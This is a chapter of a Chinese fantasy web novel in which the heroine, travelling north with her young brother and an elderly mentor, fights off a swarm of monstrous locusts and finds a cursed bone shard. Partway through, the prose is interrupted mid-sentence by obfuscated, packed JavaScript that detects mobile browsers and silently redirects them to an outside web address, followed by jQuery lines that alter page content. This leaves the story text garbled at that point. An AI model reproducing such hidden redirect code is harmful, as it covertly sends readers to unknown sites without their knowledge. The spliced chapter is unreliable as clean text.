57. 驿路毒虫

作品:《三从四德遇上女尊地晶

    两日后,一辆青帷骡车在四名州府女卫护送下,驶出青州北门。


    车轮碾过黄土官道,扬起细尘。


    车厢内,李素心霜发如雪,膝上摊着泛黄农书,目光却投向窗外远山。陈谷雨与念安并肩坐着,孩子小脸紧贴车窗,目不转睛盯着飞逝的田野。


    “连累娘子奔波了。”陈谷雨轻声道。


    李素心收回目光,皱纹舒展开:“我这把老骨头,能亲眼见你带着二策进京辩个明白,为晚舟争条生路,颠簸十倍也值。”她指尖轻叩书卷,“京城那帮老大人,早该听听田垄间的声响了。”


    说完,她拿出简陋的舆图,眉间沟壑深重:“不过,京城水太深。司农寺这纸调令,来得刁钻。谢晚舟在京城,怕是她们算准了你最大的弱点——”


    她抬眸,目光锐利,“青晶契主之力,根植于青州地脉。一旦离州,能力必大打折扣,愈远愈弱。待到京城,天子脚下,皇权威压,各方势力盘根错节,你若无地力加持,单凭一个‘青晶契主’虚名和生员身份,只怕寸步难行,任人拿捏。”


    陈谷雨指尖轻叩车架,沉静的眼眸看着外面。


    她想起草原深处,那片浩瀚星空下与大地初缔的盟约。


    “我明白。”她声音平稳,“故而,我不能急着赶路。”


    李素心一怔:“你的意思是?”


    “当初在草原,我能成白晶契主,并非一蹴而就。亦是步步行走,感知呼应,方得认可。”


    “此次路途,我们先北上绕一下,不急赴京,而是缓行慢走,沟通沿途地脉,察其燥塞,疏其淤堵,若遇灾异萌芽,便尽力疏导化解。”


    她顿了顿,语气里带上一种沉甸甸的决心:“若能得沿途一地一村之认可,或许…能续上地力回响,不至完全断绝。即便力量微薄,亦胜过孤身入龙潭。”


    李素心倒吸一口凉气,眼中满是惊愕与难以置信:“沿途签契?!这…闻所未闻!自古契主皆守一地,从未有人能…这简直是…”


    她话音戛然而止,看着陈谷雨那平静却坚毅的侧脸,后面“异想天开”四个字竟说不出口。


    沉默良久,她长长吐出一口气,重重一拍大腿,眼中担忧未褪,却已染上几分豁出去的豪气:“罢了!非常之人行非常之事!你既敢想,我便信你能行!州学和李家坳有我,你只管去闯!”


    陈谷雨颔首,未再多言。


    念安忽然转头,乌溜溜的眸子望过来:“姐姐,饿。”


    陈谷雨从布袋取出胡饼递给他。孩子小口啃着,饼屑落满衣襟。


    “只是苦了孩子。”李素心轻叹,“京城规矩大,人心复杂。”


    “不怕。”念安含糊应着,小手抓紧陈谷雨衣袖。


    骡车颠簸北行。念安渐渐精神不济,小脑袋一点一点靠在姐姐肩头。


    陈谷雨调整姿势让他睡稳,一手轻拍他背脊,另一手无意识搭在膝上,指尖微动——她在尝试,尝试在这移动喧嚣中捕捉那丝大地微光。


    一次,两次……额角沁出细汗。


    李素心瞥见她紧绷的侧脸,默然不语。


    直至骡车驶过河滩地,夕阳洒金,车轮碾过卵石路面发出规律轻响。陈谷雨忽然闭目——成了!虽微弱如萤,却真切触到了那份厚重包容。她睁开眼,眸中闪过明悟。


    暮色四合时,骡车抵达清水驿。


    土坯房围成的小院挂着气死风灯,在晚风中摇曳。


    驿丞验过文书,堆笑迎上:“青州的贵人!上房备好了热水热饭。”目光扫过陈谷雨怀中的念安和李素心的白发,闪过一丝诧异,却知趣未问。


    房间简陋却整洁。驿卒送来粟米饭、咸菜和菜叶汤。


    陈谷雨先给念安擦洗脸手,哄他吃些软饭。


    孩子困极,蜷在榻上便睡沉了。李素心也显疲态,洗漱后歇下。


    陈谷雨走到窗边推窗。院中寂静,繁星满天。她闭目凝神,意念以驿站为原点向北延伸——草原那股燥热混乱更清晰了,如无形火线向南蔓延。京城方向那浩瀚存在仍被屏障阻隔,难探分毫。


    突然,马厩传来骚动。


    骡马焦躁刨地,响鼻声声,几欲挣脱缰绳。护卫低声呵斥,良久方歇。


    一阵怪风旋地而起,卷得尘叶乱舞,灯火摇曳。


    风带腥燥,转瞬即逝,却让陈谷雨蓦然睁眼——与草原那燥气同源!


    榻上念安猛地惊颤,呜咽出声:“火…好烫…”小手紧抓衣襟,睡眼茫然带惧。


    陈谷雨立即将他揽入怀中,掌心渡入温润晶力:“不怕,没有火。”


    孩子在她怀中急喘几下,恐惧渐消,歪头又沉沉睡去。


    李素心早已坐起身,银发在昏光中微颤:“那风…和安安?”


    “燥气已能扰畜惊童。”陈谷雨抱紧念安,望向北方夜幕,“绝非天灾。”


    灯火摇曳,将二人身影拉长投于土墙,沉静中透出紧绷。


    北行路方才启程,草原阴影已如跗骨之蛆,悄然缠上车辙。


    晨雾渐散,清水驿淡如褪色水墨。


    黄土官道蜿蜒北上,没入赭色丘陵。


    干燥的风卷着沙尘扑打车帘,空气里混着野草苦涩与泥土腥气。


    陈谷雨端坐车内,指尖在膝上无意识描摹。


    她能清晰感到青晶之力如蒙纱幕,流转晦涩。


    闭目凝神,沟通地脉微光竟如泥沼跋涉,艰涩十倍。


    “阿姐……”念安偎在李素心怀里,小眉头蹙着,眼神有些迷茫,显得无精打采。


    李素心用粗糙手掌轻拍他背脊,低声哼着乡曲,眼中含忧:“小郎君怕是水土不服,北风硬得很。”她望向车外荒瘠丘陵,“得寻稳妥处歇脚。”


    护卫队长王娘子策马近窗:“禀娘子,此地名‘赤土坡’,贫瘠少人烟。前方二十里方有村落,需加紧脚程。”


    话音未落,远处隐隐传来异样嗡鸣,如无数铜片急擦。声浪转瞬铺天盖地涌来!


    “蝗虫!是蝗虫!”


    天际线处,暗黄带赤的“云”翻滚膨胀,汹涌扑至。那虫群异乎寻常——每只竟有孩童半掌大,甲壳泛着病态金属暗红,复眼赤红如血,口器寒光森然。它们尖啸着扑向人马骡车,悍不畏死!


    “护住娘子和小郎君!”王娘子厉喝拔刀。


    护卫纷纷挥刃驱虫,但这燥蝗凶悍超常,如狂蜂般撞向人畜。健骡眼耳口鼻瞬间被咬得鲜血淋漓,痛极狂嘶,几欲掀车!马匹也被叮咬,痛得嘶鸣踢踏,场面大乱。


    腥燥气息弥漫开来,似腐草混铁锈,又带焦糊味。


    几个护卫吸入顿感头晕目眩,动作迟滞。骡马眼珠泛红,狂躁加剧。


    “啊——!”


    念安突然尖声哭起来,小身子剧颤,两手死命捂着耳朵,小脸煞白泪涌,“吵死了!好多的尖尖声……阿姐救我!”


    李素心脸色大变,紧紧抱住他:“小郎君莫怕!”声音却淹没在震耳虫鸣与哭喊中。


    陈谷雨心一沉。念安的异状绝非寻常——是虫瘴!


    他敏锐的感知直接承受了虫群狂暴的精神冲击!


    她强压焦躁,深呼吸闭目。心神沉入识海,青晶虚影光芒黯淡。


    不再强求


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468633|182614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    灭杀,而是默念“静心拂尘”诀,心神如古井微澜渐沉。


    指尖在袖中悄掐诀,精神力如蛛丝轻探入地,感知那被虫瘴搅乱的混沌地气。


    汗沁额角。如同在狂风巨浪中捕捉细微水流,艰难万分。


    然市井磨砺出的洞察力此刻显效——她敏锐察觉到狂暴地气中存在几处微小却异常“灼热”的节点!如同无形漩涡,散播混乱燥气,刺激引导着蝗群的疯狂!


    “王娘子!”陈谷雨蓦然睁眼清叱,声透虫鸣,“虫群受地气节点驱使!左前三十步荆棘丛后,右后五十步裸岩下!取火把,用烟熏那几处地方,扰乱节点!”


    王娘子毫不迟疑:“甲队乙队,火把烟熏!照娘子指令方位,快!”


    浓烟滚滚而起。护卫不再盲目挥打,将烟焰集中驱向那几处无形燥热节点所在的位置。


    烟焰笼罩节点刹那,空中似起细微“嗤嗤”声。


    原本被无形指挥的燥蝗群骤然出现混乱!


    冲势一滞,部分蝗虫开始无头乱撞。


    有效!


    陈谷雨立刻转向念安。


    识海中青晶虚影被她小心剥离出最柔和的一缕,她伸出手指,轻轻点在念安捂耳的小手上。


    “念安不怕。阿姐在。”声音带着奇特的安抚力量。


    那缕微不可察的青晶力如温柔水波,渗入念安混乱的识海,并非隔绝冲击,而是在他精神世界的边缘筑起一道薄而韧的屏障,如同透明堤坝抵御惊涛。


    念安撕心裂肺的哭喊骤停。


    他仍捂着耳朵颤抖喘息,小脸苍白,但眸中极度的惊恐痛楚已褪去,转为茫然虚弱。


    他偎在李素心怀里,泪水无声滑落。


    李素心又惊又喜:“娘子……”


    车外,烟焰持续干扰节点,虫群混乱加剧,冲击势头大减。


    王娘子指挥众人护卫车队,艰难冲出了虫云笼罩的区域。


    当最后一只燥蝗消失在视野尽头时,车队终于冲出令人窒息的丘陵地带。


    前路虽仍荒芜,但那腥燥之气已淡去许多。


    护卫们汗流浃背,惊魂未定,马骡身上带着血痕,疲惫不堪。


    王娘子下令原地休整。


    陈谷雨脸色微白,强压下识海因过度消耗传来的阵阵虚乏与隐痛,目光锁定虫云退去的方向。


    “素心姨,照看好念安。”她低声吩咐,推门下车。


    李素心连忙应下,用湿巾擦拭念安汗湿的小脸。


    陈谷雨走向方才虫群最密集之处。


    焦糊味混着虫尸的腥臭弥漫。她蹲下身,目光鹰隼般扫过狼藉的地面。


    焦黑的草梗与石块间,一物吸引了她的目光——


    一片指甲盖大小的骨片,边缘有些熏黑的痕迹,显然曾被火把的烟焰燎过。细看之下,焦黑处隐约透出刻痕。她用帕子垫着小心拾起。指腹摩挲骨片表面,刻痕触感清晰——绝非天然纹路,是人为刻画的扭曲怪异符号!线条盘绕,透着一股邪异的混乱感。


    寒意顺脊背爬升。


    绝非偶然!这便是那“燥热点”的媒介?


    草原萨满的手段竟已如此诡谲,能借这小小骨片远隔千里搅动地气、催生凶物?


    她紧攥焦黑骨片,冰冷的触感仿佛渗入掌心。


    前路漫漫,此仅北上第一劫。草原阴影,果然如影随形。


    抬头望向北方灰蒙的天空,她的眼神凝重如铁。


    千里跋涉,果然是淬炼锋芒的熔炉。


    而这骨片,便是熔炉中烙下的第一道印记。


    ------